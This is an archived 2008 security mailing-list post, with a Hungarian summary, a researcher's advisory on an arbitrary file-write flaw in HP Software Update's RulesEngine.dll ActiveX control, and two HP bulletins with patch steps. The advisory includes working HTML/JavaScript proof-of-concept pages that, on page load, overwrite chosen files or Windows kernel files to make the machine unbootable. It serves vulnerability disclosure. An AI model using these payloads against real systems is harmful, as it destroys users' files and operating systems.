Vissza a www.andrews.hu-ra

    [guru] [porkythepig@anspi.pl: HP laptops Software Update tool vulnerability]


    DATE: Mon, 07 Jan 2008 13:56:04 +0100
    Távolról kihasználható biztonsági rést találtak a HP Software Update nevű,
    különböző Windows verziókon (XP Home és Pro, Vista, 2000, 2003) futó,
    automatikus szoftverfrissítésekért felelős programban. A HP Software Update
    része számos HP termékhez (PC-k, nyomtatók, lapolvasók, kamerák) mellékelt
    szoftvernek, illetve külön letölthető a HP webhelyéről.
    
    A hibát a RulesEngine.dll ActiveX kontrollban találták, kihasználásával
    tetszőleges kód futtatható vagy privilegizált hozzáférés szerezhető.
    
    A HP két módszert kínál a probléma megoldására: egyrészt a sebezhető HP
    Software Update frissíthető saját magát használva, másrészt aki ebben a
    módszerben nem bízna valmiért, az a javítást le is töltheti.
    
    
    --- Begin Message ---
    Advisory:
    
    /////////
    
    
    
    There is another remotely exploitable flaw within software preinstalled in HP notebook machines. This time, the culprit is automatic software update tool provided by the vendor.The Potential exploitation may lead to user files loss or altering vital system files (e.g. kernel), thus leaving PC unbootable.
    
    
    
    
    
    
    
    Overview:
    
    /////////
    
    
    
    The flaw is located in the software called HP Software Update shipped with the HP notebooks to support automatic software updates and critical vulnerability patching. One of the ActiveX controls deployed by default by the vendor contains an insecure method giving a potential attacker the remote system arbitrary file write access.
    
    
    
    
    
    
    
    Impact:
    
    ///////
    
    
    
    Remote user files contents corruption
    
    Remote system kernel files damage / Operating System DoS condition
    
    
    
    
    
    
    
    
    
    Attack vectors:
    
    ///////////////
    
    
    
    There are two main attack vector schemes:
    
    
    
    - inducing remote user to launch WWW link after obtaining the information about the location of an arbitrary file(s) locations/names in the remote system. After clicking the link the files contents will be unrecoverably destroyed. This attack vector thus requires additional social engineering of the vitim to acquire exact name and location of the potential attack target files.
    
      
    
    - inducing remote user to launch WWW link resulting in corruption of vital Operating System files, leaving the system unusable. This attack vector DOESN'T require any additional victim social engineering,
    
     because the system files are always placed in the predictable locations.
    
    
    
    
    
    
    
    
    
    
    
    
    
    Technical details:
    
    //////////////////
    
    
    
    The vulnerable ActiveX control EngineRules.dll is a component of HP Software Updates system designed by the vendor.
    
    
    
    It has assigned CLSID: 7CB9D4F5-C492-42A4-93B1-3F7D6946470D and is by default included to "Safe for Scripting" OLE components, that allows full execution scripting access to the control methods from within the browser.  			
    
    
    
    The default control installation path is 
    
    C:\Program Files\Hewlett-Packard\eSupportDiags\RulesEngine.dll
    
    
    
    The control is used by the the HP Software Updates software's HPWUCli.exe client application to enumerate, load and store available software patches information. The HPWUCli.exe binary is located in the directory:
    
    C:\Program Files\HP\HP Software Update\
    
    
    
    The control may also be used by a remote WWW service, such as Hewlett-Packard online software update service.
    
    
    
    The potentialy insecure method is: 
    
    void SaveToFile(String dataFilePath);
    
    
    
    This method is used to store the software patch specific data (version, remote location, vendor name, software description) in the binary file beginning with the 32bit integer value containing the actual patches count stored in the data file.
    
    
    
    The problem lies in the lack of distinguish between local and global data file area in this control. Both LoadDataFromFile() method and SaveDataToFile() method have an access to the entire file system data area, therefore any arbitrary user file can be accessed remotely using one of these methods by a remote entity.
    
    Use the SaveDataToFile() can be exploited to store the empty-by-initialize software patch data in the existing file, which will result in previous file contents loss and resetting it to 4 zero-bytes, describing a zero-size patch.
    
    
    
    Noticing a specific vulnerability location (vendor's software update system), simple disabling of the vulnerable control by the vendor's patch (like in the other HP software vulnerbility case - HPInfo) would result in the machine software update system compromise in this case and would leave the user vulnerable to the future security issues.
    
    
    
    Therefore reimplemetation of the update system and/or vulnerable control local data area implementation is strongly recommended.
    
    
    
    
    
    
    
    
    
    
    
    Remote Kernel Wreckage Exploit
    
    //////////////////////////////
    
    
    
    Using this flaw one can construct an armed exploit, able for example to destroy remote system kernel files and make the remote machine UNBOOTABLE. The exploit is using vulnerable SaveToFile() to overwrite the NT System kernel files with the 4 zero bytes. The target are memory mapped ntoskrnl.exe and ntkrnlpa.exe kernel files which don't have a write lock set on them and may be opened for write. Although Windows NT system contains a protection for this kind of activity (system files overwrite) it can be fooled by overwriting simultanously: system binary files backup directory (\System32\DllCache\) actual system kernel files (\System32\) and the Driver Backup directory (\Windows\Driver Cache\)
    
    kernel files.
    
    
    
    After the execution it will store an zero-initialized patch information using SaveToFile() method sequentially to ntoskrnl.exe, ntkrnlpa.exe, ntkrnlmp.exe ,ntkrpamp.exe NT kernel files , first in the System32\DllCache\ directory, second to \System32\ directory and finally to Windows\Driver Cache\ dir. After the very next OS shutdown, machine will not be bootable anymore.
    
    
    
    The exploit code has been attached to the end of this advisory. NOTE however that it is provided ONLY as a Proof of Concept code and has been released ONLY to estimate the impact level of the issue.
    
    
    
    
    
    
    
    
    
    
    
    Vulnerable Software:
    
    ////////////////////
    
    
    
    HP Software Update client v3.0.8.4
    
    RulesEngine.dll ActiveX CTL v1.0
    
    
    
    Internet Explorer 6.0  
    
    Internet Explorer 7.0  
    
     
    
    
    
    Windows XP Home
    
    Windows XP Pro
    
    Windows 2000
    
    Windows 2003
    
    Windows Vista
    
    
    
    
    
    
    
    
    
    
    
    Vulnerable Hardware
    
    ///////////////////
    
    
    
    Every HP notebook machine containing the HP Software Updates application is vulnerable. It is possible that the vulnerable machine model list disclosed by the vendor as a confirmation to the previous issue concerning HP laptops - "HP Info Center" case, will be similar in this case.
    
    
    
    
    
    
    
    
    
    
    
    
    
    Exploits:
    
    /////////
    
    
    
    
    
    //////////////////////////////////////////
    
    //Remote Arbitrary File Corruption Exploit
    
    //////////////////////////////////////////
    
    
    
    <html>
    
    <head>
    
    <script language="JavaScript">
    
    
    
    
    
    var filePath="c:\\temp\\testfile.txt";
    
    
    
    function spawn3()
    
    {
    
    	o2obj.SaveToFile(filePath);
    
    }
    
    
    
    </script>
    
    </head>
    
    
    
    <body onload="spawn3()">
    
    <object ID="o2obj" WIDTH=0 HEIGHT=0
    
       classid="clsid:7CB9D4F5-C492-42A4-93B1-3F7D6946470D"
    
    </object>
    
    </body>
    
    </html>
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    ////////////////////////////////
    
    //Remote Kernel Wreckage Exploit
    
    ////////////////////////////////
    
    //
    
    //        
    
    //  WARNING! THE REAL THING...
    
    //  DON'T TRY THIS AT HOME!
    
    //  THIS WILL DAMAGE YOUR 
    
    //  HP COMPUTER SYSTEM!!!
    
    //
    
    //
    
    ////////////////////////////////
    
    
    
    
    
    
    
    <html>
    
    <head>
    
    <script language="JavaScript">
    
    
    
    function spawn3()
    
    {
    
    
    
    	o2obj.EvaluateRules();
    
    
    
    	o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntoskrnl.exe");
    
    	o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntkrnlpa.exe");
    
    	o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntkrnlmp.exe");
    
    	o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntkrpamp.exe");
    
    
    
    	o2obj.SaveToFile("c:\\WINDOWS\\system32\\ntoskrnl.exe");
    
    	o2obj.SaveToFile("c:\\WINDOWS\\system32\\ntkrnlpa.exe");
    
    
    
    	o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntoskrnl.exe");
    
    	o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntkrnlpa.exe");
    
    	o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntkrnlmp.exe");
    
    	o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntkrpamp.exe");
    
    
    
    	o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\sp2.cab");
    
    	o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\driver.cab");
    
    }
    
    
    
    
    
    function meltdown()
    
    {
    
    	spawn3();
    
    	spawn3();
    
    	spawn3();
    
    }
    
    
    
    </script>
    
    </head>
    
    
    
    <body onload="meltdown()">
    
    <object ID="o2obj" WIDTH=0 HEIGHT=0
    
       classid="clsid:7CB9D4F5-C492-42A4-93B1-3F7D6946470D"
    
    </object>
    
    </body>
    
    </html>
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    Related final word:
    
    ///////////////////
    
    
    
    Spiderpig, spiderpig, does whatever the spiderpig does...
    
    ;-)
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    Links:
    
    //////
    
    
    
    Original advisory link:
    
    www.anspi.pl/~porkythepig/hp-issue/wyfukanyszynszyl.txt
    
    
    
    
    
    
    
    
    
    
    
    Credits:
    
    ////////
    
    
    
    Issue discovery and research: porkythepig
    
    Contact: porkythepig@anspi.pl
    
    
    
    
    

    --- End Message ---
    --- Begin Message ---
    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    SUPPORT COMMUNICATION - SECURITY BULLETIN
    
    Document ID: c01311918
    Version: 1
    
    HPSBGN2301 SSRT071508 rev.1 - HP Software Update Running on Windows, Remote Execution of Arbitrary Code, Gain Privileged Access
    
    NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
    
    Release Date: 2007-12-21
    Last Updated: 2007-12-21
    
    Potential Security Impact: Remote execution of arbitrary code, gain privileged access
    
    Source: Hewlett-Packard Company, HP Software Security Response Team
    
    VULNERABILITY SUMMARY
    A potential security vulnerability has been identified with HP Software Update running on Windows. The vulnerability could exploited remotely to execute arbitrary code or gain privileged access.
    
    References: CVE-2007-6506 
    
    SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
    Any PC with HP Software Update running on Windows
    
    BACKGROUND
    For a PGP signed version of this security bulletin please write to: security-alert@hp.com 
    
    HP Software Update is an HP application which checks for and downloads updates for HP products firmware, software, and drivers. It can also help update the security and functionality of HP products.
    
    HP Software Update may be installed on a PC as part of the software supplied with certain HP PCs, printers, scanners, or cameras.
    
    Customers can also download the HP Software Update for installation from the HP Web Site.
    
    RESOLUTION
    HP has provided the following procedure to resolve this vulnerability: 
    
    
    Use HP Software Update 
    
    1. In Windows click Start ->All Programs ->HP ->HP Update 
    or 
    click Start ->All Programs ->HP ->HP Software Update 
    
    2. Click Next. HP Software Update will begin.
    
    3. Click Next to begin the installation. Click Continue or OK if prompted by Windows to continue. 
    
    4. The HP Update installer will appear. Click Continue or OK if prompted by the installer to continue.
    
    5. Click Finish to close HP Software Update when prompted.
    
    Notes: 
    
    1. If HP Software Update is reinstalled using the recovery solution, the procedure above must be repeated.
    
    2. On a PC where HP Software Update is present, the procedure above must be followed even if HP Software Update is never used.
    
    History: 
    Version:1 (rev.1) - 21 December 2007 Initial release 
    
    Support: For further information, contact normal HP Services support channel.
    
    Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com 
    It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information. 
    To get the security-alert PGP key, please send an e-mail message as follows:
      To: security-alert@hp.com 
      Subject: get key
    
    Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email: 
    http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC 
    On the web page: ITRC security bulletins and patch sign-up 
    Under Step1: your ITRC security bulletins and patches 
      - check ALL categories for which alerts are required and continue.
    Under Step2: your ITRC operating systems 
      - verify your operating system selections are checked and save.
    
    
    To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php 
    Log in on the web page: Subscriber's choice for Business: sign-in. 
    On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
    
    
    To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do 
    
    
    * The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title: 
    
    GN = HP General SW
    MA = HP Management Agents
    MI = Misc. 3rd Party SW
    MP = HP MPE/iX
    NS = HP NonStop Servers
    OV = HP OpenVMS
    PI = HP Printing & Imaging
    ST = HP Storage SW
    TL = HP Trusted Linux
    TU = HP Tru64 UNIX
     UX = HP-UX
     VV = HP VirtualVault
     
    System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
    
    
    "HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
    
    ©Copyright 2007 Hewlett-Packard Development Company, L.P. 
    
    Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
    
    -----BEGIN PGP SIGNATURE-----
    Version: PGP 8.1
    
    iQA/AwUBR2w2JuAfOvwtKn1ZEQIK6ACg71wtNZUTxy/SZY4ddygDQMM1KbEAn2Mc
    pB8jtvehxYxXTLWj8ES9Jm3o
    =KOnT
    -----END PGP SIGNATURE-----
    
    
    
    

    --- End Message ---
    --- Begin Message ---
    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    SUPPORT COMMUNICATION - SECURITY BULLETIN
    
    Document ID: c01311918
    Version: 2
    
    HPSBGN02301 SSRT071508 rev.2 - HP Software Update Running on Windows, Remote Execution of Arbitrary Code, Gain Privileged Access
    
    NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
    
    Release Date: 2007-12-21
    Last Updated: 2008-01-02
    
    Potential Security Impact: Remote execution of arbitrary code, gain privileged access
    
    Source: Hewlett-Packard Company, HP Software Security Response Team
    
    VULNERABILITY SUMMARY
    A potential security vulnerability has been identified with HP Software Update running on Windows. The vulnerability could be exploited remotely to execute arbitrary code or gain privileged access.
    
    References: CVE-2007-6506 
    
    SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
    Any PC with HP Software Update v4.000.005.007 or earlier running on Windows
    
    BACKGROUND
    For a PGP signed version of this security bulletin please write to: security-alert@hp.com 
    
    HP Software Update is an HP application which checks for and downloads updates for HP products firmware, software, and drivers. It can also help update the security and functionality of HP products.
    
    HP Software Update may be installed on a PC as part of the software supplied with certain HP PCs, printers, scanners, or cameras.
    
    Customers can also download the HP Software Update for installation from the HP Web Site.
    
    RESOLUTION
    HP has provided two methods to resolve this vulnerability.
    
    1. Download and Install HP SoftPaq SP38202 
    
    HP has provided the following software patch to resolve this vulnerability: HP SoftPaq SP38202 
    The patch is available for download from ftp://ftp.hp.com/pub/softpaq/sp38001-38500/. 
    
    Or 
    
    2. Use HP Software Update 
    
    HP has provided the following procedure to resolve this vulnerability: 
    
    1. In Windows click Start ->All Programs ->HP ->HP Update 
    or 
    click Start ->All Programs ->HP ->HP Software Update 
    
    2. Click Next. HP Software Update will begin.
    
    3. Click Next to begin the installation. Click Continue or OK if prompted by Windows to continue. 
    
    4. The HP Update installer will appear. Click Continue or OK if prompted by the installer to continue.
    
    5. Click Finish to close HP Software Update when prompted.
    
    Notes: 
    
    1. If HP Software Update is reinstalled using the recovery solution, the procedure above must be repeated.
    
    2. On a PC where HP Software Update is present, the procedure above must be followed even if HP Software Update is never used.
    
    History: 
    Version:1 (rev.1) - 21 December 2007 Initial release 
    Version:2 (rev.2) - 2 January 2008 HP SoftPaq SP38202 available 
    
    Support: For further information, contact normal HP Services support channel.
    
    Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com 
    It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information. 
    To get the security-alert PGP key, please send an e-mail message as follows:
      To: security-alert@hp.com 
      Subject: get key
    
    Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email: 
    http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC 
    On the web page: ITRC security bulletins and patch sign-up 
    Under Step1: your ITRC security bulletins and patches 
      - check ALL categories for which alerts are required and continue.
    Under Step2: your ITRC operating systems 
      - verify your operating system selections are checked and save.
    
    
    To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php 
    Log in on the web page: Subscriber's choice for Business: sign-in. 
    On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
    
    
    To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do 
    
    
    * The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title: 
    
    GN = HP General SW
    MA = HP Management Agents
    MI = Misc. 3rd Party SW
    MP = HP MPE/iX
    NS = HP NonStop Servers
    OV = HP OpenVMS
    PI = HP Printing & Imaging
    ST = HP Storage SW
    TL = HP Trusted Linux
    TU = HP Tru64 UNIX
    UX = HP-UX
    VV = HP VirtualVault
     
    System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
    
    
    "HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."
    
    ©Copyright 2008 Hewlett-Packard Development Company, L.P. 
    
    Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
    -----BEGIN PGP SIGNATURE-----
    Version: PGP 8.1
    
    iQA/AwUBR3vSguAfOvwtKn1ZEQK0VACg2nMt+qIxspHKEHXsJ/64DcrlBUUAn1TI
    y4C+AOGE9Zczkcs945oKjvGG
    =fzkv
    -----END PGP SIGNATURE-----
    
    
    
    

    --- End Message ---

    Vissza a www.andrews.hu-ra